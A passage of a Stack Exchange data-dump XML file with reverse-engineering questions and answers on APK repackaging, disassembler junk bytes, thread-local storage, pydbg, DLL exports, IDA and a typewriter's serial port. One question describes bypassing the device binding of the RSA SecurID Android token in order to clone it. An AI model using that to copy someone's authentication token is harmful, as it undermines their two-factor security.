frame and the compiler aligns the stack since sum of stack changes is 0x60; return value misaligns by 4, push ebx by 4 more, then sub esp, 0x58 results in 0x60.&lt;/p&gt;&#xA;" OwnerUserId="70" LastEditorUserId="70" LastEditDate="2013-10-12T16:22:59.133" LastActivityDate="2013-10-12T16:22:59.133" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2913" PostTypeId="1" CreationDate="2013-10-12T19:11:34.040" Score="7" ViewCount="2328" Body="&lt;p&gt;I'm reverse engineering an android application. It's been a while since I've poked with this but I&quot;m having an issue editing the APK to deal with some language areas.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The original app is from a different country. When decompiling and recompiling, the app installs but errors out when you try to run it on the phone. This includes if I only do apktool d and then apktool b. via log cat I'm getting this exception:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Caused by: java.util.MissingResourceException: Can't find resource for&#xA;  bundle 'j.bc.l.resources.resources.resources_en_US', key ''&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;from a ResourceBundle.getBundle call. Via &lt;a href=&quot;http://developer.android.com/reference/java/util/ResourceBundle.html&quot; rel=&quot;nofollow&quot;&gt;this page&lt;/a&gt; I'm assuming it's an issue related to resolving resources for different languages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the issue is it's defaulting to search a path that doesn't exist in the application, so it can't find the file and the application crashes. I unzipped the apk file and in j.bc.l.resources there is a resources.properties file, but no resources_en_US directory to search in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So at this point since I need to make changes to the application I'm assuming I need to put a resources_en_US in that directory with a new properties file, but I don't know how to patch that into the application. I can't unzip and rezip because as far as I know it messes up the headers so that apktool and installation will fail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I need a way to put the resources.properties file into the correct location to resolve properly. The aren't any references in the code to resources_en_US so I'm assuming the only way to get it to work is to patch the directory into the app and rebuild it. But if there's an easier way to solve this issue I would be okay with that as well.&lt;/p&gt;&#xA;" OwnerUserId="1306" LastEditorUserId="189" LastEditDate="2013-12-04T14:11:21.973" LastActivityDate="2013-12-04T14:11:21.973" Title="Inserting resources.properties file into an APK - language compatibility" Tags="|android|apk|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2915" PostTypeId="2" ParentId="2913" CreationDate="2013-10-13T20:56:13.947" Score="8" Body="&lt;p&gt;In order to get this to work I had to use a combination of the comments left on my original post. As I mentioned in the topic the issue looks like it being and issue with resource bundles not being included properly. My best guess is the original compilation settings were such that the default resource bundle is different than what's documented &lt;a href=&quot;http://developer.android.com/reference/java/util/ResourceBundle.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. Whether that's an issue with language compatibility or just something that Eclipse (or whatever they used to build) does behind the scenes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In any case I took the resources.properties file out of resources\ and copied it into resources\resources_en_US, per the Exception that was being thrown. The constants/parameters that the app was reading from the properties file didn't look like anything special (and were all in English) so I didn't have to make any changes to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that I deleted the META-INF folder per &lt;a href=&quot;https://stackoverflow.com/questions/7119839/re-sign-an-android-apk/7189815#7189815&quot;&gt;here&lt;/a&gt;, then rezipped and sign with the default debug key:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jarsigner -sigalg MD5withRSA -digestalg SHA1 -keystore debug.keystore theApp.apk androiddebugkey&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After that everything was kosher, so it was just a matter of combining everything in the right order.&lt;/p&gt;&#xA;" OwnerUserId="1306" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2013-10-13T20:56:13.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2916" PostTypeId="1" CreationDate="2013-10-15T16:57:41.903" Score="7" ViewCount="7092" Body="&lt;p&gt;The program I'm trying to decompile uses several supporting files:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;somesound.mp3&lt;/li&gt;&#xA;&lt;li&gt;someimage.jpg&lt;/li&gt;&#xA;&lt;li&gt;etc..&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The files are all located in the file system, not embedded into the exe. The files are used at runtime for the game images and sounds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I try and open one of the mp3s or jpgs directly windows will give me an error, the files are obviously packed/encrypted/obfuscated/compressed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How can I determine the obfuscation type of the files?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have determined that the first 4 bytes are the same in each file, 43 46 31 30 &lt;em&gt;(CF10 in ASCII)&lt;/em&gt;. Maybe this information would be useful.&lt;/p&gt;&#xA;" OwnerUserId="2999" LastEditorUserId="1562" LastEditDate="2013-10-15T18:18:40.430" LastActivityDate="2014-10-18T18:25:23.023" Title="How to find file compression or obfuscation type" Tags="|unpacking|deobfuscation|decryption|" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="2917" PostTypeId="1" AcceptedAnswerId="2919" CreationDate="2013-10-15T19:49:10.320" Score="8" ViewCount="2340" Body="&lt;p&gt;When using objdump I see the following disassembled code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;8049436:    89 04 24                mov    DWORD PTR [esp],eax&#xA;8049439:    e8 52 f7 ff ff          call   8048b90 &amp;lt;gtk_entry_get_text@plt&amp;gt;&#xA;804943e:    89 44 24 24             mov    DWORD PTR [esp+0x24],eax&#xA;8049442:    eb 01                   jmp    8049445 &amp;lt;gtk_grid_new@plt+0x6c5&amp;gt;&#xA;8049444:    1d c7 04 24 0b          sbb    eax,0xb2404c7&#xA;8049449:    00 00                   add    BYTE PTR [eax],al&#xA;804944b:    00 e8                   add    al,ch&#xA;804944d:    0f f7 ff                maskmovq mm7,mm7&#xA;8049450:    ff eb                   jmp    &amp;lt;internal disassembler error&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is using an obfuscation technique to make the disassembling harder. When I check in gdb I see the real code at 0x8049445:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) &amp;gt; x/10i 0x8049445&#xA;0x8049445:  mov    DWORD PTR [esp],0xb&#xA;0x804944c:  call   0x8048b60 &amp;lt;raise@plt&amp;gt;&#xA;0x8049451:  jmp    0x8049454&#xA;0x8049453:  sbb    eax,0xfff8a7e8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, my question is: is it possible to tell objdump that the byte at 0x8049444 can be ignored for the purpose of disassembly? One obvious way is to actually patch the file, but is there another way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if not with objdump, are there other tools that can do that? Though I'd rather stay with the basic tools included with Linux so as to familiarize myself with those better.&lt;/p&gt;&#xA;" OwnerUserId="3000" LastActivityDate="2013-10-16T16:58:27.657" Title="Deal with obfuscated assembly" Tags="|disassembly|obfuscation|objdump|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2918" PostTypeId="2" ParentId="2917" CreationDate="2013-10-15T20:50:50.750" Score="8" Body="&lt;p&gt;That's not obfuscation, that's just the output of a lousy disassembler engine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use &lt;a href=&quot;https://www.hex-rays.com/products/ida/index.shtml&quot;&gt;IDA Pro&lt;/a&gt; instead. You can download an evaluation version for Linux from &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/download_demo.shtml&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2013-10-15T20:50:50.750" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2919" PostTypeId="2" ParentId="2917" CreationDate="2013-10-16T06:45:48.917" Score="9" Body="&lt;p&gt;Most tools don't support a 'ignore that byte for disassembly' feature, only IDA, Hopper and a few others do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only alternative is to patch the byte at &lt;code&gt;8049444&lt;/code&gt; with a &lt;code&gt;90 NOP&lt;/code&gt;, or change your mind and not rely on basic tools.&lt;/p&gt;&#xA;" OwnerUserId="188" LastActivityDate="2013-10-16T06:45:48.917" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2920" PostTypeId="2" ParentId="2917" CreationDate="2013-10-16T09:57:56.320" Score="6" Body="&lt;p&gt;This problem comes from the way &lt;code&gt;objdump&lt;/code&gt; disassemble a binary. The technique used here is called &lt;strong&gt;linear sweep&lt;/strong&gt;, it is done by starting at the beginning of each symbol in all the sections that are flagged as &lt;code&gt;CODE&lt;/code&gt; and disassemble instruction after instruction, supposing that what follow an instruction is also an instruction. The problem with this disassembly technique is that if you mix code and data, data will be interpreted as code as well. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;0x0    mov DWORD PTR [esp+0x24],eax&#xA;0x4    jmp *0x10&#xA;0x6    DATA 0xfffa2345&#xA;0x10   mov DWORD PTR [esp+0x20],eax&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here, applying a linear sweep technique on the hexadecimal code will result in a wrong interpretation of the data which will be considered as code. And, if your are really unlucky, a few instructions after the data will also be scrambled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As already suggested in other answers, the only way to discover the real code is to use a different disassembling technique. Unfortunately, &lt;code&gt;objdump&lt;/code&gt; provide only one (linear sweep), so you need to use another tool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note also that the other technique suggested in other answers (&lt;strong&gt;recursive traversal&lt;/strong&gt;) will perform well for this specific case but can also issue a wrong disassembly of the original code on some other examples. So, you cannot trust it either.&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2013-10-16T16:58:27.657" LastActivityDate="2013-10-16T16:58:27.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2921" PostTypeId="2" ParentId="2917" CreationDate="2013-10-16T14:27:24.760" Score="4" Body="&lt;p&gt;As everybody else is saying, in this case it is due to linear sweep.&#xA;However, I would like to add that even IDA can be fooled with Junk Bytes and you can only trust the disassembly while debugging a sample. As encoders can change the code on the run, only trust the value on the EIP and nothing else to be correct code.&lt;/p&gt;&#xA;" OwnerUserId="2035" LastActivityDate="2013-10-16T14:27:24.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2922" PostTypeId="2" ParentId="2916" CreationDate="2013-10-16T15:29:22.627" Score="7" Body="&lt;p&gt;You can give a try to &lt;a href=&quot;http://code.google.com/p/binwalk/&quot; rel=&quot;nofollow&quot;&gt;binwalk&lt;/a&gt;. This tool is able to do a wild guess about the encryption/compression routine used, with the &lt;code&gt;-BE&lt;/code&gt; option.&lt;/p&gt;&#xA;" OwnerUserId="1485" LastEditorUserId="245" LastEditDate="2013-11-28T15:20:20.030" LastActivityDate="2013-11-28T15:20:20.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2923" PostTypeId="1" CreationDate="2013-10-16T23:17:22.903" Score="10" ViewCount="1272" Body="&lt;p&gt;An application I am currently looking add is using Threads and accessing something via the thread-local storage. It is compiled with Visual C++ (probably 6.0).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First question would be, where can I find more information what the thread-local storage contains? I haven't quite understood it yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the assembler code where the application reads a value from the thread-local storage.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MOV EAX,0&#xA;MOV ECX,DWORD PTR FS:[0x2C]&#xA;MOV EDX,DWORD PTR DS:[ECX + EAX * 4]&#xA;MOV EAX,DWORD PTR DS:[EDX+4]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EAX is a pointer which points on the following memory area which has a special pattern.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cCZqc.png&quot; alt=&quot;memory pattern&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It basically looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;52&#xA;P-&amp;gt;...&#xA;P-&amp;gt;...&#xA;5&#xA;&#xA;52&#xA;P-&amp;gt;...&#xA;P-&amp;gt;...&#xA;5&#xA;&#xA;52&#xA;P-&amp;gt;...&#xA;P-&amp;gt;...&#xA;5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I was wondering if this is some kind of standard data structure.&lt;/p&gt;&#xA;" OwnerUserId="145" LastEditorUserId="145" LastEditDate="2013-10-16T23:23:31.253" LastActivityDate="2013-10-17T00:34:51.383" Title="What does this memory pattern pointing from the thread-local storage mean?" Tags="|c++|thread|memory|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2924" PostTypeId="2" ParentId="2923" CreationDate="2013-10-17T00:34:51.383" Score="8" Body="&lt;p&gt;The area you're looking at is something specific to the program; it's not part of Windows structures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The value at &lt;code&gt;fs:[0x2C]&lt;/code&gt; is the TLS array - array of pointers to the thread-specific blocks of variables somewhere in the program's memory. Here's how a typical TLS access to a &lt;code&gt;__declspec(thread)&lt;/code&gt; variable looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov eax, DWORD PTR __tls_index    ; load TLS index for current thread&#xA;mov ecx, DWORD PTR fs:__tls_array ; load the TLS array pointer (FS:[2Ch])&#xA;mov edx, DWORD PTR [ecx+eax*4]    ; fetch the pointer to the TLS block for current thread&#xA;mov eax, DWORD PTR [edx+4h]       ; load the thread variable at offset 4 in the TLS block&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(The &lt;code&gt;__tls_index&lt;/code&gt; variable is pointed to by the &lt;code&gt;TlsIndex&lt;/code&gt; (aka &lt;code&gt;AddressOfIndex&lt;/code&gt;) field of the PE TLS directory.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The actual content of the TLS block is up to the program - the OS only makes sure that every thread gets a separate copy of the initial TLS template, and puts a pointer to it in the TLS array. So, to figure out what's in that memory chunk, you'll have to see how the program is using it.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2013-10-17T00:34:51.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2925" PostTypeId="1" CreationDate="2013-10-17T01:43:51.020" Score="11" ViewCount="359" Body="&lt;p&gt;I'm having trouble switching from debugging one thread to another in pydbg. I don't have much experience with multithreading, so I'm hoping that I'm just missing something obvious.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, I want to suspend all threads, then start single stepping in one thread. In my case, there are two threds. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, I suspend all threads. Then, I set a breakpoint on the location where EIP will be when thread 2 is resumed. (This location is confirmed by using IDA). Then, I enable single-stepping as I would in any other context, and resume Thread 2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, pydbg doesn't seem to catch the breakpoint exception! Thread 2 seems to resume and even though it MUST hit that address, there is no indication that pydbg is catching the breakpoint exception. I included a &quot;print &quot;HIT BREAKPOINT&quot; inside pydbg's internal breakpoint handler, and that never seems to be called after resuming Thread 2. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not too sure about where to go next, so any suggestions are appreciated!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    dbg.suspend_all_threads()&#xA;    print dbg.enumerate_threads()[0]&#xA;    oldcontext = dbg.get_thread_context(thread_id=dbg.enumerate_threads()[0])&#xA;    if (dbg.disasm(oldcontext.Eip) == &quot;ret&quot;):&#xA;        print disasm_at(dbg,oldcontext.Eip)&#xA;        print &quot;Thread EIP at a ret&quot;&#xA;        addrstr = int(&quot;0x&quot;+(dbg.read(oldcontext.Esp + 4,4))[::-1].encode(&quot;hex&quot;),16)&#xA;        print hex(addrstr)&#xA;        dbg.bp_set(0x7C90D21A,handler=Thread_Start_bp_Handler)&#xA;        print dbg.read(0x7C90D21A,1).encode(&quot;hex&quot;)&#xA;    dbg.bp_set(oldcontext.Eip + dbg.instruction.length,handler=Thread_Start_bp_Handler)&#xA;    dbg.set_thread_context(oldcontext,thread_id=dbg.enumerate_threads()[0])&#xA;    dbg.context = oldcontext&#xA;    dbg.resume_thread(dbg.enumerate_threads()[0])&#xA;    dbg.single_step(enable=True)&#xA;    return DBG_CONTINUE&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Sorry about the &quot;magic numbers&quot;, but they are correct as far as I can tell.&lt;/p&gt;&#xA;" OwnerUserId="3004" LastEditorUserId="3004" LastEditDate="2013-10-17T12:58:44.303" LastActivityDate="2013-11-05T05:05:59.867" Title="Thread-Switching with PyDbg" Tags="|windows|debuggers|thread|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2926" PostTypeId="1" CreationDate="2013-10-17T09:37:37.237" Score="14" ViewCount="4031" Body="&lt;p&gt;At the moment I try to figure out how the RSA SecurID Software Token protects itself from getting cloned to another android device. The token I imported has no device binding enabled and I already figured out that the device binding can be exploited by changing the &lt;code&gt;&amp;lt;string name=&quot;AppSetting_DevIDValue&quot;&amp;gt;&lt;/code&gt; in the &lt;code&gt;/data/data/com.rsa.securidapp/shared_prefs/DataKeySetting.xml&lt;/code&gt; or by changing the IMEI of the device if the device binding is bases on the IMEI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I am now looking for is what secrets are used to encrypt the &lt;code&gt;ROOTSEED&lt;/code&gt; and &lt;code&gt;TOKENHASH&lt;/code&gt; in the &lt;code&gt;/data/data/com.rsa.securidapp/databases/securidDB sqlite&lt;/code&gt; database. I don't recognize that the app uses the android keystore for that.&#xA;I already tried to clone the IMEI and MAC address, furthermore I tried do clone the keystore &lt;code&gt;.masterkey&lt;/code&gt; file and used the same passcode on the other device which sould be responsible for the decryption of that keystore &lt;code&gt;.masterkey&lt;/code&gt;. In 2012 SensePost published their research about the windows application of it &lt;a href=&quot;https://www.sensepost.com/blog/7045.html&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1389" LastEditorUserId="245" LastEditDate="2013-10-17T12:11:45.923" LastActivityDate="2021-09-24T05:05:26.880" Title="Howto clone Android RSA SecurID Software Token" Tags="|android|encryption|exploit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2928" PostTypeId="1" AcceptedAnswerId="2929" CreationDate="2013-10-17T20:37:13.847" Score="-2" ViewCount="2362" Body="&lt;p&gt;I am trying to do some experimenting with certain system files (DLLs, EXEs) in Windows and would like to know how I can get information about the functions that they contain. I want to be able to call some of them just as if Windows does. How could one do this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess I would need to know what the function names are, and how to call the functions by their names, and what parameters to pass.&lt;/p&gt;&#xA;" OwnerUserId="2806" LastEditorUserId="107" LastEditDate="2013-10-18T20:59:33.877" LastActivityDate="2013-10-18T20:59:33.877" Title="How can I locate exported functions of an EXE or DLL?" Tags="|windows|pe|c++|symbols|" AnswerCount="1" CommentCount="1" ClosedDate="2013-11-01T06:29:41.193" ContentLicense="CC BY-SA 3.0" />
  <row Id="2929" PostTypeId="2" ParentId="2928" CreationDate="2013-10-17T21:00:06.690" Score="8" Body="&lt;p&gt;&lt;strong&gt;TL;DR&lt;/strong&gt; you can call anything, locating the right part of code is the hard part.&lt;/p&gt;&#xA;&lt;h1&gt;export table&lt;/h1&gt;&#xA;&lt;p&gt;If you mean 'just as Windows does', then you mean the functions of the DLL that are available to the others, ie the exported ones? in this case, you need to parse the export table - check &lt;a href=&quot;http://code.google.com/p/pefile/source/browse/trunk/pefile.py#3349&quot; rel=&quot;noreferrer&quot;&gt;pefile&lt;/a&gt; for a readable and reliable implementation.&lt;/p&gt;&#xA;&lt;h1&gt;locating any function&lt;/h1&gt;&#xA;&lt;h2&gt;IDA&lt;/h2&gt;&#xA;&lt;p&gt;If you actually mean 'all the functions, including the internal ones', then you need to disassemble and tell the difference from code and data. in this case, your best bet is to open the files in IDA - with symbols preferrably - and export the function list.&lt;/p&gt;&#xA;&lt;h2&gt;manually&lt;/h2&gt;&#xA;&lt;p&gt;If you want to do that manually, then you need your own smart disassembler, which is far from trivial: sometimes, compilers generate some code that doesn't immediately look like parts of a function.&lt;/p&gt;&#xA;&lt;h2&gt;calling identified functions&lt;/h2&gt;&#xA;&lt;p&gt;Once you've located the functions, you can just call them directly, without the need of injection, but you have to make sure you have the exact same version of the DLL. &lt;a href=&quot;https://code.google.com/p/corkami/source/browse/trunk/src/PE/hard_imports.asm&quot; rel=&quot;noreferrer&quot;&gt;hard_imports&lt;/a&gt; use such a method to call pieces of code directly.&lt;/p&gt;&#xA;" OwnerUserId="188" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2013-10-18T06:50:20.347" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2930" PostTypeId="2" ParentId="2876" CreationDate="2013-10-18T22:33:49.900" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Most microprocessors fetch code in aligned 16-byte or 32-byte blocks.&#xA;  If an important subroutine entry or jump label happens to be near the&#xA;  end of a 16-byte block then the microprocessor will only get a few&#xA;  useful bytes of code when fetching that block of code. It may have to&#xA;  fetch the next 16 bytes too before it can decode the first&#xA;  instructions after the label. This can be avoided by aligning&#xA;  important subroutine entries and loop entries by 16. Aligning by 8&#xA;  will assure that at least 8 bytes of code can be loaded with the first&#xA;  instruction fetch, which may be sufficient if the instructions are&#xA;  small.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;via Optimizing subroutines in assembly language by Agner Fog. &lt;a href=&quot;http://www.agner.org/optimize/optimizing_assembly.pdf&quot; rel=&quot;nofollow&quot;&gt;PDF&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1425" LastActivityDate="2013-10-18T22:33:49.900" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2931" PostTypeId="1" AcceptedAnswerId="2932" CreationDate="2013-10-20T08:37:05.090" Score="8" ViewCount="1361" Body="&lt;p&gt;I have an indirect call to a function. I traced the program and added the target to the xref, so this works fine. The problem is though, that on the position where the call is, there is no link shown. I thought, that, when I add an XREF, both positions are shown, because this is also the behaviour with the other referenzes, IDA automatically finds out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To illustrate what I mean:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The call is here without showing me where it points to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CODE:004A3F07 00C                 call    dword ptr [edx+28h]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The xref I added is here showing the link:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CODE:004A3390     DecryptMemory proc near            ; CODE XREF: sub_4A3EC0:loc_4A3F07 P&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is it possible to make IDA show the reference on both addresses? I know I can create a manual xref there as well, but then IDA creates a label as well, which makes it a bit confusing, when revisting. I tried to remove the label, but this doesn't work either (would this be possible?).&lt;/p&gt;&#xA;" OwnerUserId="2130" LastEditorUserId="2130" LastEditDate="2013-10-20T10:58:56.913" LastActivityDate="2013-10-22T09:46:19.457" Title="Adding Backlink for XREF in IDA" Tags="|ida|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2932" PostTypeId="2" ParentId="2931" CreationDate="2013-10-20T21:51:59.487" Score="7" Body="&lt;p&gt;IDA does not automatically show the xref existence at the source as you are claiming. In most cases it's not necessary, as the destination is usually printed as part of the instruction or data item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, for resolved indirect calls the &lt;em&gt;processor module&lt;/em&gt; may display a comment to help the user. For some processors (including x86) you can use the &quot;Change callee address&quot; plugin (&lt;kbd&gt;Alt+F11&lt;/kbd&gt;) to manually set the destination of an indirect call. It adds both an xref and makes the processor module print an auto-comment.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2013-10-20T21:51:59.487" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2933" PostTypeId="1" AcceptedAnswerId="2934" CreationDate="2013-10-20T22:48:01.153" Score="16" ViewCount="1631" Body="&lt;p&gt;How can i determine the serial protocol of a electric typewriter? some electric typewriters have a serial port in the back and it is a shape that is not commonly used today. I am planing on interfacing the typewriter with a Arduino and using it as a printer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do i determine things such as the baud rate, the pinout and the voltage. I already broke one typewriter trying to find out the protocol, I cannot get a owners manual for the typewriters, all of the other guides that i found involved modifying the circuit board and connecting the wires to the keys. I have not been able to find out how a a typewriter with a serial port works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a picture of the serial port, what type is it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wr9sP.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3019" LastEditorUserId="225" LastEditDate="2013-10-21T06:25:21.357" LastActivityDate="2015-10-22T10:53:26.830" Title="Determining the serial port protocol of a typewriter" Tags="|hardware|serial-communication|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2934" PostTypeId="2" ParentId="2933" CreationDate="2013-10-21T05:48:57.470" Score="10" Body="&lt;p&gt;As Jason Geffner said its a DIN 45326 connector. &#xA;As far as I know they're normally used in audio, but here is a &lt;a href=&quot;http://techpubs.sgi.com/library/dynaweb_docs/hdwr/SGI_EndUser/books/PChall_L_OG/sgi_html/figures/2-4.DIN.connector.gif&quot;&gt;pin out&lt;/a&gt; while used for serial.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next step would be using an Oscilloscope to determine the baud rate (and voltage). Often the oscilloscope software has some build in tools for automatically determining the baud rate. If not, you simple divide 1 by the &lt;a href=&quot;http://simple.wikipedia.org/wiki/Period_%28physics%29&quot;&gt;period&lt;/a&gt; of the wave. E.g. find the 2 peaks with the shortest horizontal distance and measure that time to get the period.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't have an oscilloscope you'll have to brute force it. I'd start by trying the most common ones which in my experience are:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;9600/115200-8-N-1 (9600 or 115200 baud, 8 data bits, no parity, 1 stop bit), no flow control.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The above are the most common these days, but I have no clue back in the old days what was common.&lt;/p&gt;&#xA;" OwnerUserId="225" LastActivityDate="2013-10-21T05:48:57.470" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2935" PostTypeId="2" ParentId="2931" CreationDate="2013-10-22T09:46:19.457" Score="2" Body="&lt;p&gt;You can create a free-form comment mentioning &quot;004A3390&quot; at 004A3F07. Anything that remotely resembles a valid reference is clickable in IDA Pro. Double-clicking 004A3390 in your comment will take you to the location.&lt;/p&gt;&#xA;" OwnerUserId="1358" LastActivityDate="2013-10-22T09:46:19.457" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2936" PostTypeId="1" CreationDate="2013-10-20T16:24:24.107" Score="6" ViewCount="715" Body="&lt;p&gt;I'm a crypto newbie, but have been working on card-access systems that encrypt the card data with 128-bit RSA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have an example (from a card) of 1024 bits of encrypted data.&#xA;I also have the public key (1024 bits), which is (rather curiously) placed into the access-control hardware. I'm 100% sure it's a public (not a private) key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First attempts with using the key with OpenSSL with the binary key fail:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;➤ openssl rsautl -decrypt -in ptt.enc.key -inkey ptt.pub.key -out ptt.dec.hex&#xA;unable to load Private Key&#xA;➤ 11636:error:0906D06C:PEM routines:PEM_read_bio:no start line:pem_lib.c:648:Expecting: ANY PRIVATE KEY&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm aware that I need to probably format / prep the key, but I'm not sure how. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;b&gt;Edit&lt;/b&gt;&#xA;For what it's worth: The public key is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;15 77 D0 29 87 C6 3A 95 B5 1A E1 49 43 08 34 AE AF 3F 2E 0F 4C F8 C6 88 7A C6 C8 D7 32 D7 94 82 60 4F C1 8D A7 7A 9C C1 F5 4D 80 63 EA E6 E4 2A 41 B2 E0 4D 16 63 85 6D 76 0E AB EC CF B7 83 BA E1 D4 3E 1E 02 C5 01 1E 82 3B 24 F2 91 8F 98 A4 96 2A 87 5D 0D F9 4F 80 98 A1 A3 0D C9 41 30 3F 98 AB A1 9E 6F 99 65 97 ED AD 7F 03 CA B9 15 ED 4B 58 B7 BA AD 28 C0 B6 75 93 CD FC CB 53 99 AB&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;An encrypted card value is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;8F 